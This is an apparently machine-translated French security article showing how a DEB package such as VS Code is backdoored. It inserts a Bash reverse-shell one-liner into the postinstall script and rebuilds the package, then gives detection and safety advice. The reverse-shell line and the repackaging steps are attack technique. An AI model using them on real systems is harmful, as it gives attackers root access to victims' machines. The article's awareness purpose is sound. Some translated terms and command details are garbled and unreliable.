Saviez-vous que les attaquants peuvent modifier les scripts contenus dans un fichier DEB pour obtenir un accès non autorisé à votre PC? Voici comment les packages DEB sont détournés.
Points clés à retenir
- Les packages DEB peuvent facilement être détournés, permettant aux attaquants d'injecter du code malveillant dans votre système lorsque vous les installez avec les autorisations root.
- Les packages DEB infectés sont difficiles à détecter, car ils peuvent ne pas être signalés par un logiciel antivirus ou des solutions cloud comme VirusTotal.
- Pour vous protéger, évitez de télécharger des packages DEB à partir de sites aléatoires, restez fidèle aux sites de téléchargement officiels ou sites de confiance de la communauté et envisagez d'installer des outils de sécurité pour sécuriser votre système Linux contre le réseau attaques.
Les fichiers DEB sont des packages logiciels qui constituent le format principal de livraison de logiciels sur les distributions Linux basées sur Debian.
Pour installer les packages DEB, vous devez utiliser un gestionnaire de packages comme dpkg avec les autorisations root. Les attaquants en profitent et injectent des portes dérobées dans ces packages. Lorsque vous les installez avec dpkg ou tout autre gestionnaire de packages, le code malveillant est également exécuté et compromet votre système.
Explorons exactement comment les packages DEB sont détournés et ce que vous pouvez faire pour vous protéger.
Comment les packages DEB sont-ils détournés?
Avant de comprendre comment les packages DEB sont détournés, explorons le contenu d'un package DEB. À des fins de démonstration, je vais télécharger le package Microsoft Visual Studio Code DEB à partir du site Web officiel de Microsoft. Il s'agit du même package que vous téléchargeriez si vous souhaitez installer VS Code sur Linux.
Télécharger:Code de Visual Studio
Maintenant que le package cible est téléchargé, il est temps de le décompresser. Vous pouvez décompresser un package DEB en utilisant le dpkg-deb commande avec le -R flag suivi du chemin pour stocker le contenu :
dpkg-deb -R
Cela devrait extraire le contenu du package VS Code.
En vous déplaçant dans le dossier, vous trouverez plusieurs répertoires, cependant, notre intérêt réside uniquement dans le DÉBIAN annuaire. Ce répertoire contient les scripts du responsable qui sont exécutés lors de l'installation avec les privilèges root. Comme vous l'avez peut-être déjà compris, les attaquants modifient les scripts de ce répertoire.
Pour démonstration, je vais modifier le post-installation script et ajoutez un simple shell TCP inversé Bash à une seule ligne. Comme son nom l'indique, il s'agit d'un script qui est exécuté une fois le package installé sur le système.
Il contient des commandes qui finalisent les configurations telles que la configuration des liens symboliques, la gestion des dépendances, etc. Vous pouvez trouver des tonnes de coques inversées différentes sur Internet. La plupart d’entre eux fonctionneront de la même manière. Voici un exemple de one-liner à coque inversée :
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Explication de la commande :
- frapper: C'est la commande qui appelle le shell Bash.
- -je: L'indicateur indique à Bash de s'exécuter en mode interactif permettant les E/S de commande en temps réel.
-
>& /dev/tcp/ip/port : Cela redirige sortie standard et erreur standard à une socket réseau, établissant essentiellement une connexion TCP au
et . - 0>&1: Cela redirige l'entrée et la sortie vers le même emplacement, c'est-à-dire vers la prise réseau.
Pour les non-initiés, un reverse shell est un type de code qui, lorsqu'il est exécuté sur la machine cible, établit une connexion avec la machine de l'attaquant. Les shells inversés constituent un excellent moyen de contourner les restrictions du pare-feu, car le trafic est généré par la machine située derrière le pare-feu.
Voici à quoi ressemble le script modifié :
Comme vous pouvez le voir, tout est pareil mais une seule ligne a été ajoutée, à savoir notre shell inversé Bash. Vous devez maintenant reconstruire les fichiers dans le dossier ".deb"format. Utilisez simplement le dpkg commande avec le --construire signaler ou utiliser dpkg-deb avec le -b flag suivi du chemin du contenu extrait :
dpkg --build
dpkg-deb -b
Le package DEB dérobé est désormais prêt à être expédié sur des sites malveillants. Simulons un scénario dans lequel une victime a téléchargé le package DEB sur son système et l'installe comme n'importe quel autre package standard.
Le volet supérieur du terminal est destiné au POV de la victime et celui du bas est celui de l'attaquant. La victime installe le package avec sudo dpkg -i et l'attaquant écoute patiemment les connexions entrantes en utilisant le chat net commande sous Linux.
Dès que l'installation est terminée, notez que l'attaquant obtient la connexion shell inversée et dispose désormais d'un accès root au système de la victime. Vous savez maintenant comment les packages DEB sont détournés. Voyons maintenant comment vous protéger.
Comment détecter si un package DEB est malveillant
Maintenant que vous savez que les packages DEB infectés existent, vous devez vous demander comment trouver ceux qui sont infectés. Pour commencer, vous pouvez essayer d'utiliser un Logiciel antivirus Linux comme ClamAV. Malheureusement, lorsqu'une analyse ClamAV a été exécutée sur le package, elle ne l'a pas signalé comme malveillant. Voici le résultat du scan :
Ainsi, à moins que vous ne disposiez d’une solution antivirus premium (ce qui ne garantit pas que vous ne serez pas piraté), il est assez difficile de détecter les packages DEB malveillants. Essayons d'utiliser une solution cloud comme le site Web VirusTotal :
Comme vous pouvez le constater, VirusTotal n’a détecté aucun problème. Eh bien, la seule façon de vous protéger contre de telles menaces est de suivre des règles de sécurité de base, comme ne pas télécharger systématiquement de fichiers à partir de sources inconnues. vérifier le hachage d'un fichier, et en général, éviter d’installer des logiciels louches.
Internet regorge de telles menaces. La seule façon de surfer sans perdre vos données est de faire preuve de vigilance et de parcourir des sites de confiance. De plus, pour Linux, vous devriez également essayer de déterminer si le logiciel que vous téléchargez possède un Variante AppImage car ils sont autonomes et peuvent être mis en bac à sable et donc maintenus hors de contact avec votre système.
Ne téléchargez pas de packages DEB à partir de sites aléatoires!
Les packages DEB ne sont pas mauvais en soi, cependant, les attaquants peuvent facilement les utiliser comme une arme et les expédier à des utilisateurs sans méfiance. Comme démontré, un package DEB peut être facilement ouvert et modifié pour ajouter du code personnalisé avec seulement quelques commandes, ce qui en fait un vecteur courant pour l'envoi de logiciels malveillants.
Même les simples portes dérobées sur les packages DEB ne sont pas détectées par les meilleures solutions antivirus. La meilleure chose à faire est donc de jouer en toute sécurité, de faire preuve de bon sens lorsque vous naviguez sur le Web et de toujours télécharger des logiciels uniquement à partir de sites de téléchargement officiels ou de sites approuvés par la communauté.
Maintenant que vous êtes conscient des risques de sécurité liés à l'installation de packages DEB à partir de sites nouveaux ou inconnus, vous devez être prudent lors de l'installation de nouveaux logiciels. Cependant, il ne suffit pas de faire attention à ce que vous installez. Votre système Linux peut également être la cible d'attaques réseau.
Pour garantir votre sécurité en cas d'attaque réseau, vous devez envisager d'installer des outils de sécurité réseau.